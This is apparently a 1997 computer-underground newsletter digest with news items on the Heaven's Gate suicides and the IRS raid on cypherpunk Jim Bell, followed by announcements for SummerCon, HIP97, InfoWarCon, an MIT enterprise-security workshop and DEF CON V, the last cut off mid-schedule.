Death is seen more in an Eastern perspective, Trachte said. So there isnt a sense that all this is tragic. Its more the spiritual, mental orientation of these people that believe this way. They believe this life is just one in an ongoing cycle or series or wheel of life. And ending this life is like opening a window or door and moving into another existence.

Trachte said he took some solace in the news that no children were involved with the group.

He also was not surprised with the connection to the Hale‑Bopp comet.

Throughout history, the heavens and the signs of the stars and peculiar events like comets have signified extraterrestrial powers, Trachte said. Its not totally surprising that a comet would trigger such a response.

He said the group was unique in that it apparently mixed modern phenomena, such as UFOs, computers, the comet and the Internet, with age‑old beliefs of being swept into heaven.

Even in the Christian experience you have that recorded experience of people from another country following a heavenly display or revelation, which to them pointed to the birth of Christ, Trachte said.

The Heavens Gate group also designed pages publicizing Pre‑Madonna, an album of Madonnas early songs;

1‑800‑HARMONY, a music and video mail‑order operation; British Masters, a clearinghouse for auto parts; and Keep the Faith, a site devoted to contemporary Christian music and news.

The group used advanced Web page design and technology, including Java and Javascript, animated images and virtual reality modeling language.

Beverly Hills businessman Nick Matzorkis, who runs the Pre‑Madonna site, told authorities that he now employs a former member of the Higher Source group. Matzorkis said that members sent the employee whom he identified only as Rio two videotapes this week that described their intentions to commit suicide.

Members of Heavens Gate believed it was time to shed their containers, perhaps to rendezvous with a UFO they believed was traveling behind the Hale‑Bopp comet, Matzorkis told NBCs Today show.

The author identified as Do said on the Heavens Gate site, dated Sept. 29, 1996, that time was short.

The end of this civilization is very close, the site said. The end of a civilization is accompanied by a spading under, refurbishing the planet in preparation for another civilization. And the only ones who can survive that experience have to be those who are taken into the keeping of the Evolutionary Level Above Human.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Hecklers hack at human bugs that crawl the Web

A couple of weeks ago the U.S. public was distracted by issues of Internet pornography. The U.S. Supreme Court was considering the Communications Decency Act, a law meant to control obscenity supposedly bombarding youthful computer users.

Meanwhile Marshall Herff Applewhite and 38 members of the Heaven's Gate cult were updating their Web site, laying in a supply of new Nike sneakers, and preparing to kill themselves.

Politicians and clergy had a firm grip on the anti‑porn franchise. Who, on the other hand, was tackling murderous mass delusion?

The answer: a few skeptics and hecklers, and they did a good job of it.

Their postings continue to collect in the forums of Usenet where cult followers put their prophecies about the alien spaceship that supposedly follows the comet Hale‑Bopp.

"It seems odd that a higher life form would prefer us paltry humans to wear black Nikes with a white "swoosh' as our ceremonial sending off garb," sneers a contributor to sci.astro, a group of otherwise sensible astronomers. "What is wrong with Reebok or Adidas? Is there a conspiracy here?"

Criticism also focused on syndicated radio host Art Bell, who has promoted the astronaut‑messiah movement. He used to talk more about evil government, until the Oklahoma City federal building bomb went off. Lately his agenda has been heavier on spaceships.

"Art's role in their deaths was that of a liar and snake oil salesman, trafficker in junk science, a promoter of charlatans and their wares, and a parasitic peddler of pernicious poppycock," says a contributor "decieving you're some sort of chosen spokesman for some trumped‑up alien scam so you can sell your booklet," says another.

A preacher surrounding himself with goons in a sealed‑off temple, a con artist fleecing followers in a distant commune, even an infomercial huckster on radio or television, is protected from opponents who might distract his victims.

But how many of Jim Jones' followers might have been deterred from going to Guyana with him, and tasting his deadly brew, had the Internet been in wider use 20 years ago, complete with its noisy skeptics countering his preachings?

Jones took more than 900 lives with him. Applewhite only got 38 to go along. That's progress.

"Think of it as evolution in action. Or maybe they were right and are aboard the mothership now. Either way, it's 39 fewer idiots cluttering up the planet," says another contributor. This does not encourage copycats.

Skeptical argument is not limited to religious themes. In Usenet's thousands of newsgroups, forums cover politics, social life, dating and marriage, most of the arts and sciences, journalism and international relations. To some degree, they are all the scenes of noisy, sometimes sarcastic and even profane debate. Group members even patrol for porn, often vigorously repelling sexual‑oriented postings with the same forensic muscle.

Anyone can join in soc.couples, alt.fan.rush‑limbaugh, alt.politics.clinton, alt.politics.british, alt.history.what‑if, rec.arts.movies, sci.military, alt.journalism and other cyberbrawls. They argue feminism, political campaign funding, TV violence, landmines, sex and Nazism. There is even a fun group that regularly argues the perennial subject of world domination by hamburger franchise (it's called alt.nuke.the.usa).

Heckling and skepticism? Indeed, as it should be.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

The Netly News Network

April 3, 1997

IRS raids a cypherpunk

by Declan McCullagh (declan@well.com)

Jim Bell's first mistake was publishing an

essay describing how disgruntled citizens could

kill off Federal government agents by using

anonymous betting pools and digital cash. His

second mistake was informing the IRS that the

agency had no legal authority to tax him.

About twenty armed IRS agents and other

Federal police swarmed into Bell's home in

Washington state on Tuesday morning, hunting for

evidence that Bell's "Assassination Politics"

essay had come to fruition. They expropriated

Bell's three computer systems, two guns and even

a solitary mouse cable. The Feds were taking no

chances: Since Bell's voluminous Net postings

mentioned tax collectors, agents from the BATF,

FBI, DEA, and local police forces joined the

raid.

[...]

The raid stemmed from a six‑month tussle

between Bell and the IRS, which began in November

1996 when the 38‑year old computer engineer

demanded a hefty tax refund and threatened to

convene his own "common‑law court" if it was

refused. That grabbed the Feds' attention. (So

did the actions of the "Multnomah County Common

Law Court," which apparently met in January to

convict IRS agents and Attorney General Janet

Reno of "theft by deception.") In February, IRS

agents seized Bell's 1986 Honda as payment for

back taxes ‑‑ and found inside it a printout of

his "Assassination Politics" essay. "

[...]

And it was, ultimately, a Federal magistrate

who signed the search warrant on 9:02 am on March

28 at the request of the IRS. Jeffrey Gordon, an

inspector in the IRS' Internal Security Division,

details in an 10‑page affidavit how he traced

Bell's use of allegedly fraudulent Social

Security Numbers, how he learned that Bell had

been arrested in 1989 for "manufacturing a

controlled substance," how he found out that Bell

possessed the home addresses of a handful of IRS

agents. Gordon's conclusion: Bell planned "to

overthrow the government." The IRS investigator

says in his affidavit that Bell's "essay details

an illegal scheme by Bell which involves plans to

assassinate IRS and other government officals...

I believe that Bell has begun taking steps to

carry out his Assassination Politics plan."

[...]

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Security/Hacker Conferences

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The 1997 Summer Security Conference

"SUMMERCON IX.V"

May 31st, 1997

Atlanta, GA

This is the official announcement and open invitation to the nine and 1/2 summer security conference, Summercon. A long time ago, Summercon was an invite‑only hacker gathering held annually in St. Louis, Missouri. Starting in 1995, SummerCon became an open event to any and all interested parties: Hackers, Phreaks, Pirates, Virus Writers, System Administrators, Law Enforcement Officials, Vigilantes, Neo‑Hippies, Secret Agents, Teachers, Disgruntled Employees, Telco Flunkies, Journalists, New Yorkers, Programmers, Conspiracy Nuts, Musicians, Nudists, and Rug Sucking Wannabes. This con is going to be different than previous SummerCons. First off, there are two other major cons happening this summer, Defcon and Beyond HOPE. If you want to see good technical speakers, meet a ton of hackers, and have a good time for a couple days, I suggest you go to one or both of those cons. DefCon information is at http://www.defcon.org, Beyond HOPE info is at http://www.2600.com.

So why have SummerCon at all? Well, its a tradition, and most of the people I talked to said we should have it anyways. But, because of the other 2 cons, I am really aiming just to make this a fun weekend with yer friends in a new city, not a technical hacker gala. If you want to learn something, go to HOPE or Defcon. If you want to meet hackers, go to HOPE or DefCon. If you have to choose one con to go to this summer, this one should NOT be it. If you are already going to DefCon and HOPE, and still have one more weekend you want to waste this summer, this is the perfect place for you.

If you are a criminal, if you are an anarchist, if you are interested in pulling fire alarms or breaking things, don't come to this con; we don't want you here and you wouldn't like us anyhow.

Why 9.5? Well, SummerCon X should be this huge major security conference, but with HOPE this year, we didn't think it was the right year to do another one of those. So, we'll have SummerCon X next year, this one is just going to be a little party.

LOCATION

It will be held in Atlanta, GA, but we haven't actually figured out WHERE in Atlanta. That's because this is a pre‑release of the announcement, when this becomes official, we'll fill in the details.

DIRECTIONS

Fly to Hartsfield International Airport, look for the hackers.

CONFERENCE INFO

It has always been our contention that cons are for socializing. "Seekret Hacker InPh0" is never really discussed except in private circles, so the only way anyone is going to get any is to meet new people and take the initiative to start interesting conversations.

Because of this, the formal speaking portion of Summercon will be held on one day, not two or three, leaving plenty of time for people to explore the city, compare hacking techniques, or go trashing and clubbing with their heretofore unseen online companions. Futhermore, except for maybe getting Mudge up on stage to blow us all away with some cool technical details, it is probably a pretty good bet that the speeches will end up being boring, long, and a complete waste of time. Don't come to SummerCon to learn anything, because you won't.

If you are coming from out of town and want the full hacker/tourist experience, we will be having a specially scheduled 2600 meeting Friday, May 30th, at 6pm at Lenox Mall food court.

If you don't know how to get there, just ask, everyone in Atlanta knows.

The formal conference will be held on Saturday, May 31st, 1997, from 10am to 5pm (with a break for lunch). There will be a variety of speakers, panel discussions, demonstrations, and other events that will hopefully keep everyone entertained; if not you can always start drinking early.

No video or audio tapes will be allowed in the conference room.

No still photography will be permitted in the conference room without prior permission of all those being photographed. Violation of these policies will result in you being asked to leave the conference.

There will be no selling of t‑shirts, disks, firewalls, payphones, etc. in or around the conference area without prior permission of the organizers, and you WON'T get permission. We can't keep you from selling t‑shirts in your hotel room, but we can keep you away from the actual conference area, and we can probably get you kicked out of the hotel for soliciting, and if we can, we will. T‑Shirt sales is where we make up all the money we spend putting on the conference, and so we will be the only ones selling them. If you want to sell t‑shirts, go have your own con.

If you are interested in demoing or selling something, please contact us at the address listed at the bottom. If you offer us money, we might let you do it.

SPEAKERS

The speakers list for Summercon X is still being finalized, but it is sure to be much less interesting than previous years. In fact, right now we have NO speakers, and probably we won't until the day of the con. So again, don't come to summercon for the speakers.

If you are an expert in some aspect of computer, network, or telco security and are interested in speaking at Summercon, please contact us to discuss the possibility further at the address listed at the end of this document.. We won't pay you, don't ask.

We are also going to be having short speeches by real hackers or phreakers giving their own perspective on some issue or insight into a new technology. This is an open invitation for you hackers to be heard; just provide us with a brief outline of the topic you will be covering and the amount of time you will take (suggested: 5 ‑ 15 minutes) at the address listed below.

COSTS

Costs for SummerCon X are as follows, these are same rates as last year, which I think is pretty good. There will be NO refunds, and if you annoy any of the organizers, we reserve the right to throw you out, and you won't get your money back.

Secret Service / FBI Rate: $500.00

Government / Institutional Rate: $ 80.00

Hacker / Individual Rate: $ 20.00

Members of the United States Secret Service or Federal Bureau of Investigations, and anyone that has in the past or currently is providing information or services to the Secret Service or FBI are required to pay the 'Secret Service / FBI Rate'.

Employees of a local, state, or federal government, members and associates of any L.E.O., must pay the 'Government / Institutional Rate'.

Anyone that does not fit into one of the above categories is eligible for the 'Individual / Hacker Rate'.

Due to historical lack of interest, there will not be pre‑registration for the conference. Registration will begin at 10am the day of the conference, and will continue for the duration of the conference or until the meeting facilities have reached their capacity. Since the latter is likely to occur, it is suggested you don't oversleep.

No purchase orders, checks, money orders, foreign currency, stock certificates, IOUs, or coins will be accepted for registration. Secret Service agents, small unmarked bills only, please.

Bring money for t‑shirts, they are cool, and this year we will make enough for everyone (we hope).

HOTEL INFORMATION

Still working on this part.

The cost for a double occupancy room at the hotel is $XX. There is no special conference rate, there is no need to mention you are with a conference at all, the people in reservations probably won't know what you are talking about anyhow.

If the hotel is damaged in any manner, you are going to pay for it, and you will probably end up in jail. And even if you are lucky enough to get away with it, the rest of the hackers staying at the hotel will end up paying for it, and I'm sure that's going to make you a well‑liked and respected hacker, especially among some of the bigger hackers who might feel tempted to inflict bodily harm on someone who causes any damage to the hotel. Please act responsibly, don't drink and drive, chew all your food before you swallow, don't swallow your gum, and recycle.

Anyhow, if you pull a fire alarm, if you damage a room, if you spit on the floor, and any of the organizers, or any of their friends find out, we are going to call the police and have you arrested. In fact, we are making a game out of it. If anyone does any damage to the hotel, we will give whoever tells us what person or persons did it $100 in cash if we are able to get that person taken to jail.

CONTACTING SUMMERCON ORGANIZERS

You can contact the Summercon organizers through e‑mail. If you haven't figured out e‑mail yet, you probably shouldn't be coming to Summercon.

As a final note, if you are planning on coming to Summercon, we would appreciate you sending e‑mail to us with the subject of "GOING TO SCON" or something similar, just so that we have a rough idea of how many people are going to show up.

E‑mail: scon@2600.com

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑== Hacking In Progress ==‑‑

8th, 9th and 10th of August 1997

Near Almere, Netherlands

http://www.hip97.nl/

info@hip97.nl

Welcome to the HIP announcement list. We are not

alone! More than 1600 (!) of you subscribed to this

list.

As you probably already know what HIP is about, this

announcement will focus on how you can help us and how

you can stay informed about HIP. Please read the FAQ

for more common questions.

What is HIP?

‑‑‑‑‑‑‑‑‑‑‑‑

HIP is a place for hackers, artists, activists and

many, many others to network themselves, both in the

social and electronic sense of the word. HIP is a

do‑it‑yourself event. We, the organizers, will provide

the infrastructure, such as large tents, showers,

toilets and large amounts of reliable electrical power

and network connectivity. We'll also arrange for a

basic set of workshops and lectures, mainly dealing

with the social and political aspects of information

technology, security, Internet, access to technology,

new developments, cryptography and other 'hacker‑

related' topics that come to mind. We are open to

suggestions for other fields of interest.

At this moment we are working on discussions and

workshops about smartcard security, Tempest attacks,

the SPAM threat, virtual communities, cryptography and

the law (Trusted Third Parties and Key Recovery), a

tele‑presence experiment, activism on the Net, and

much more.

A do‑it‑yourself event?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We will absolutely need your help setting up

everything once we're there. HIPcamp will open on

August 5th, three days before HIP starts. If you

decide to join in that early expect some pretty

primitive circumstances. If you don't care about that,

or think that's the best part, you can help build

HIPnet and all other facilities.

We also urgently need you to think now about what it

is you would like to see and do at HIP. Just like

Hacking at the End of the Universe in 1993, we need

lots of people that have ideas for organizing their

own small part of HIP and the organizational talent to

do this without too much help from us.

One of the proven recipes for fun:

* GET a group of friends together in an early stage;

arrange how you're going to get there if you're far

away.

* THINK: Is there something you and your friends would

like to show others, discuss or do there?

* If so: TELL us about it, so we can coordinate, help

or announce things.

* Maybe BUY a nice big army surplus tent for almost

nothing.

* BRING lots of computers and other electronics.

* HOOK it all up once you get there.

* Check out what others have been doing and MEET nice

people, hang out, have fun!

Of course you can also come alone and have lots of

fun, and there will be a huge exhibition tent to set

up computers in. In another big tent there will be

near to a thousand chairs where you can listen to and

participate with panel discussions.

This event will be big, and as said, in this stage

we're looking for people to organize their own chaotic

little part of it. So don't mail us saying "put me on

the list, I want to be a volunteer" when you could say

"I'm xxx and I'd like to do yyy." Tell us what you

need us to do. We could put your workshop or whatever

it is you'd like to do in one of our announcements and

on the website, so people can communicate with you

beforehand. We could make sure there is enough room if

your project requires a lot of space. You name it.

You can use the newsgroup alt.hacking.in.progress to

find people to work with at HIP. Or you can use the

notice board at the website to search for someone to

travel with to HIP. Use it to ask for help or offer

some.

As the days get longer, there will be parts of the

overall organization that need coordination with

volunteers some time before the actual event (workshop coordination, audiovisual stuff, registration‑desk,

bar, network), but now is not yet the time.

This isn't going to be passive entertainment, we all

work together to make it work. Also: HIP is not the

event to buy a computer or get advice on buying one,

and there're not going to be any beginner courses on

using the Internet. If you're not into networking of

some sort, you'll think it's boring.

But if you're very technically inclined, part of some

remote community on the edge of the net, or if the

politics surrounding information technology are just

your thing, HIP is definitely made for you (and by

you, we hope).

HIPcamp will open on August 5th, three days before HIP

starts. If you decide to join in that early expect pretty primitive circumstances. If you don't care about that,

or think that's the best part, you can help build HIPnet

and all other facilities.

How to stay in contact:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* Check out the website http://www.hip97.nl/

* Participate in alt.hacking.in.progress

* Read the FAQ on the website or the newsgroup

* Mail us at info@hip97.nl

Snailmail us at:

HIP

Postbus 1035

1000 BA Amsterdam

Netherlands

Tel. +31 20 5352081

Fax. +31 20 5352082

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Defensive Information Warfare And Systems Assurance For Community, Company and Country September 11‑12, 1997 Sheraton Premier, Tysons Corner, VA

Call for Papers

Sponsors:

National Computer Security Association http://www.ncsa.com

and

Winn Schwartau, Interpact, Inc. http://www.infowar.com

http://www.info‑sec.com

Interested parties from government, law enforcement, academia, corporations and individuals from all nations are invited to submit papers or concepts for papers/presentation to be given at InfoWarCon 7 and published on http://www.infowar.com. The following

Solutions Oriented topics are of special interest to the conference, but all papers will be considered:

Case studies and real world successes are strongly encouraged.

New technologies, systems, models and approaches to provide higher levels of information and systems assurance in a world where conflict has moved to Cyberspace. (Commercial, Law Enforcement and Government).

Detect and Response Solutions

Denial of Service Methods and Protection New Info‑Sec Models for Local and Global Enterprises Demonstrations of New Emerging Technologies Encryption, Access Control, and Identification

The technical and social convergence of the military, law enforcement and private sectors in the interest of National Security: defensive mechanisms, policies and cooperative efforts.. (Commercial and Government)

Electronic Civil Defense Policies Alternative National Defense and Intelligence Mechanisms National vs. International Policy Development Educating Populations for Support Dealing with the Non‑nation State Actor

Cooperative legal, ethical and political means by which to interest, create and sustain international cooperation for the discovery and prosecution of computer crimes and cyber‑terrorism. (Law enforcement and Government)

Redefining the State

Case Studies of Prosecution; Successful and Not Corporate Vigilantism and Self‑Preservation Electronic Bills of Rights for Nation States United Nations of Cyberspace

Legal Conundra

Multi‑media presentations, real‑time scenarios or gaming, audience participation and highly interactive topics are more likely to be accepted. English is the conference language and all sessions will be unclassified.

Submissions are to be in Word 6.0 or greater, Powerpoint, or other popular formats, sent by email to: betty@infowar.com

Submission Deadline: May 16, 1997

Acceptance Date: June 9, 1997

For complete information on attendance: Registration: Conferences@ncsa.com

Sponsorships: Sponsors@ncsa.com

Questions/Help: betty@infowar.com

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Second International Workshop on Enterprise Security

June 18‑20, 1997

Massachusetts Institute of Technology (MIT),

Cambridge, Massachusetts, USA

Co‑sponsored by the IEEE Computer Society and the

Concurrent Engineering Research Center (CERC) at

West Virginia University

========================================

Enterprises are increasingly dependent on their information systems to support their business and workflow activities.

There is a need for universal electronic connectivity to support interaction and cooperation between multiple organizations.

This makes enterprise security and confidentiality more important, but more difficult to achieve, as the multiple organizations may have differences in their security policies and may have to interact via an insecure Internet. These inter‑organizational enterprise systems may be very large and so tools and techniques are needed

to support the specification, analysis and implementation of security.

This workshop will focus on the problems and challenges relating to enterprise security in inter‑organizational systems. We aim to bring together principal players from both the internetwork and enterprise security community and will provide plenty of time for discussion. Topics to be addressed include:

‑ Internet/Intranet security

‑ Security infrastructure and protocols

‑ Java Security

‑ Specifying and Analyzing Enterprise Security Policy

‑ Role‑Based Access Control

‑ Supporting enterprise security over the Internet ‑ Conflicts and harmonization of inter‑ and intra‑organizational Security

‑ Distributed Database Security

‑ Secure Transactions

‑ Security in Workflow Process

‑ Object‑Oriented and CORBA Security

‑ Secure Applications and Environments

‑ Integrating Heterogeneous Security Environments ‑ Managing inter‑organizational Enterprise Security

‑ Internet Security protocols

‑ Security Algorithms

This workshop will be part of the IEEE Sixth Workshops on Enabling Technologies: Infrastructure for Collaborative Enterprises (WET‑ICE 96) organized by the Concurrent Engineering Research Center (CERC)/ West Virginia University.

Important Dates:

================

Papers DueMarch 25, 1997

Panel ProposalsMarch 18, 1997

Authors notified of acceptance April 21, 1997

WorkshopJune 18‑20, 1997

Camera ReadyJune 28, 1997

INFORMATION FOR AUTHORS OF PAPERS TO BE INCLUDED IN THE PROCEEDINGS

========================================

Mail six copies of an original (not submitted or published elsewhere) paper (double‑spaced) of 3000‑5000 words to one of the PC co‑chairs. Include the title of the paper, the name and affiliation of each author, a 150‑word abstract and no more than 8 keywords. The name, position, address, telephone number, and if possible, fax number and e‑mail address of the author responsible for correspondence of the paper must be included.

An e‑mail submission in postscript format will be accepted.

INFORMATION FOR PANEL ORGANIZERS

================================

Send six copies of panel proposals to one of the PC co‑chairs. Include the title, a 150‑word scope statement, proposed session chair and panelists and their affiliations, the organizer's affiliation, address, telephone and fax number, and e‑mail address.

INFORMATION FOR AUTHORS OF POSITION PAPERS

========================================

Send six copies of position paper of 2‑3 pages to one of the PC co‑chairs. Include the title of the paper, the name and affiliation of each author, a 150‑word abstract and no more than 8 keywords. The name, position, address, telephone number, and if possible, fax number and e‑mail address of the author responsible for correspondence of the paper must be included. An accepted position paper will get less presentation time than full paper.

Workshop General Chair and Organizer

====================================

Yahya Al‑Salqan, Ph.D.

Sun Microsystems

alsalqan@eng.sun.com

Program Committee

=================

Program Committee Co‑Chairs

==========================

Barbara C. Davis

Director of Technology

The Applied Knowledge Group

231 Market Place, #315

San Ramon, CA 94583‑2785

USA

Tel. (888) 442‑2785

FAX (510) 275‑9695

bcdavis@appliedknowledge.com

Douglas Moughan

National Security Agency, R23

9800 Savage Rd.

Ft. Meade, Maryland 20755‑6000

USA

wdm@tycho.ncsc.mil

Workshop Program Committee (Partial List):

========================================

Abdallah Abdallah, Birzeit University, Jerusalem

Takasi Arano, NTT Corp, Japan

Germano Caronni, ETH‑Zurich, Switzerland

Taher ElGamal, Netscape Corp., USA

Stephen Farrell, Software and Systems Engineering, Ireland

Takeo Hamada, Fujitsu, Japan

Matthias Hirsch, BSI (Federal Department of Security in the Information Technology‑Germany

Cynthia L Musselman, Sandia Lab, USA

Lisa Pretty, Certicom Corp., Canada

Jeffrey Parrett, LLNL, USA

Sumitra Reddy, West Virginia University, USA

Nahid Shahmehri, Linkoping University, Sweden

Morris Sloman, Department of Computing: Imperial College, UK

Badie Taha, Al‑Quds University, Jerusalem

Robert Thomys, BSI (Federal Department of Security in the Information Technology‑Germany

Tatu Ylonen, SSH Communication Security, Finlad

Nick Zhang, EIT, USA

Internet Hot‑line

=================

Information on Enterprise Security Workshop may be obtained through the WWW using the URL http://www.cerc.wvu.edu/SECWK/

For more information on WET‑ICE'97, visit the URL: http://www.cerc.wvu.edu/WETICE/WETICE97.html

One does not need to have a paper to attend the workshop.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑BEGIN PGP SIGNED MESSAGE‑‑‑‑‑

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

DEF CON V Convention Announcement #1.08 (04.09.97) July 11‑13th @ the Aladdin Hotel and Casino in Las Vegas

XXXXXXXXXXXXXXXXXXXXXXXX XX DEF CON V Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX XX DEF CON V Convention Announcement XXXXXXxxxxxxXXXXXX X X DEF CON V Convention Announcement XXXXXxxxxxxxxXXXXXXX X DEF CON V Convention Announcement XXXXxxxxxxxxxxXXXX XXXXXXXXX DEF CON V Convention Announcement XXXxxxxxxxxxxxxXXXXXXXXXX X DEF CON V Convention Announcement XXxxxxxxxxxxxxxxXXXXXX XX X DEF CON V Convention Announcement XXXxxxxxxxxxxxxXXXXXXXX DEF CON V Convention Announcement XXXXxxxxxxxxxxXXXXXXXX X XX DEF CON V Convention Announcement XXXXXxxxxxxxxXXXXXXXXXX XX X DEF CON V Convention Announcement XXXXXXxxxxxxXXXXXXXXX X DEF CON V Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX DEF CON V Convention Announcement XXXXXXXXXXXXXXXXXXXXXXXXXXXX X DEF CON V Convention Announcement

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

The only convention with free beer!

IN

SHORT:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WHAT: Speakers and partying in Vegas for all hackers WHEN: July 11th ‑ 13th

WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino COSTS: $30 in advance, $40 at the door

MORE INFO: http://www.defcon.org or email info@defcon.org

IN

LONG:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It's time to brave Las Vegas again for DEF CON! This is an initial announcement and invitation to DEF CON V, a convention for the "underground"

elements of the computer culture. We try to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers, Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, Futurists, Artists, Criminally Insane, Hearing Impaired. It seems that books about the culture are becoming more popular, so of course reporters are also welcome. You won't be hurt. I promise. Just bring cash for drinks.

So you heard about DEF CON IV, and want to hit part V? You heard about the parties, the info discussed, the bizarre atmosphere of Las Vegas and want to

check it out in person? You want to do weird shit _away_ from the hotel where you can't get me in trouble? You have intimate knowledge of the SWIFT

network, and want to transfer millions of dollars to the Def Con account? Then you're just the person to attend!

What DEF CON is known for is the open discussion of all ideas, the free environment to make new contacts and the lack of ego. More people have made

great friends at DEF CON over the years than my brain can conceive of. DEF CON is also known for letting the "Suits" (Government / Corporate) mix with everyone and get an idea of what the scene is all about. The media makes an

appearance every year and we try to educate them as to what is really going on. Basically it has turned into the place to be if you are at all interested in the computer underground.

[Note]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

Now last year over 800 people showed up and threw my whole program for a loop. I was thinking 500+ people, but when 800 showed up it got a little crazy for the planning staff. This year I am planning for 1,000. This way I will be able to accommodate everyone and have less logistical screwups.

I would also like to apologize to everyone last year who had temporary badges for half the convention, etc. I will do all that is possible for maximum coolness, and minimum hassles. Anyway, enough of my shit, on with the details.

[End

Note]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SPEAKERS:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

Over the years DEF CON has had many notable speakers. This year there will be more of an emphasis on technical talks. There will be a separate smaller

room for break‑out sessions of more specific topics. While the talks of the

past have been great, it always seems some tech people drop out and general talks fill in. I will load it tech heavy so when people do drop out there will still be plenty of meat left for the propeller heads.

There will be some speaking on Friday evening before Hacker Jeopardy, all day Saturday and Sunday. About 20 people will speak, plus smaller tech sessions. If you are interested in speaking or demonstrating something please contact me.

Current speakers include:

[> If you are interested in speaking please contact me at dtangent@defcon.org

[> Nihil ‑ Windows NT (in)security. The challenge response system, NT 5.0 Kerb security services, man in the middle attacks on domain controllers. This will be a more technical discussion of NT related security.

[> Koresh ‑ Hacking Novell Netware.

[> Yobie ‑ Emerging infrastructures made possible by Java. He will describe and talk about Java as the foundation for a global, object‑oriented distributed network. New concepts and computing paradigms will discussed as well as applications for both applications development or straight‑out hacking.

[> Mudge ‑ System Administrator for L0pht Heavy Industries. He will present a technical talk on something cool.

[> Clovis ‑ From the Hacker Jeopardy winning team. He will discuss issues with security and networked object systems, looking at some of the recent security issues found with activeX and detail some of the potentials and problems with network objects. Topics will include development of objects, distributed objects, standards, activex, corba, and hacking objects.

[> Bruce Schneier ‑ Author of Applied Cryptography and the Blowfish algorithm ‑ Why cryptography is harder than it looks.

[> FBI Computer Crime Squad ‑ They will make another appearance this year only if I can bribe them with the audio from last years convention. Can I do it in time?

[> Richard Thieme ‑ "The Dynamics of Social Engineering: a cognitive map for getting what you need to know, working in networks, and engaging in espionage quietly; the uses of paranoia, imagination, and grandiosity to build the Big Picture.

[> G. Gillis ‑ Packet Sniffing: He will define the idea, explain everything from 802.2 frames down to the TCP datagram, and explain the mechanisms (NIT, bpf) that different platforms provide to allow the hack.

[> Seven ‑ What the feds think of us.

[> RK ‑ Electronic countermeasures, counter espionage, risk management. Should include a demonstration of electronic countermeasures equipment as well as a talk on what works, what doesn't, and the industry.

[> Tom Farley the Publisher of the "Private Line" journal, and Ken Kumasawa of TeleDesign Management ‑ Toll Fraud in the 90s: Two perspectives. An overview of phreaking from a hackers point of view and an industry/security consultants point.

[> Michael Quattrocchi ‑ The future of digital cash and a presentation about the modernization and state of register‑level debit cards; in effect currently throughout Canada.

[> Ira Winkler ‑ NCSA ‑ Real life case studies of successful and unsuccessful corporate espionage.

SCHEDULE:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

FRIDAY: Network Setup, Sign in, Informal PGP Keysigning at the "PGP table",

Lots of Partying. Capture the Flag Contest Starts at 16:00

On Friday there will be the demonstrations of the Radio Burst Cannon, a "real" rail gun, and an omni‑directional cell phone jammer. Times to be announced.

10:00 ‑ Doors open, sign in starts

10:00 ‑ Movies start in main conference room

16:00 ‑ Capture the Flag II starts

Breakout Tech Sessions:

19:00 ‑ Tech Talks starts in break out room

24:00 (Midnight) Hacker Jeopardy Starts.

SATURDAY:

Speakers from 10:00 to 19:00 This is _NOT_ the order they will speak in.

10:00 ‑ 10:50 Keynote (?)

11:00 ‑ 11:50 Bruce Schneier

12:00 ‑ 12:50 Yobie

13:00 ‑ 13:50 Clovis

14:00 ‑ 14:50 FBI Computer Crime Squad

15:00 ‑ 15:50 Richard Theme

16:00 ‑ 16:50 Seven

17:00 ‑ 17:50 RK

18:00 ‑ 18:50 Tom Farley

Breakout Tech Sessions:

Nihil

Koresh

Mudge

Weld Pond

G. Gillis

24:00 (Midnight) Final rounds of Hacker Jeopardy.

SUNDAY:

Speakers from 10:00 to 16:00 This is _NOT_ the order they will speak in.

10:00 ‑ 10:50 Michael Q.

11:00 ‑ 11:50 Ira Winkler

12:00 ‑ 12:50

13:00 ‑ 13:50

14:00 ‑ 14:50

15:00 ‑ 15:50

Breakout Tech Sessions:

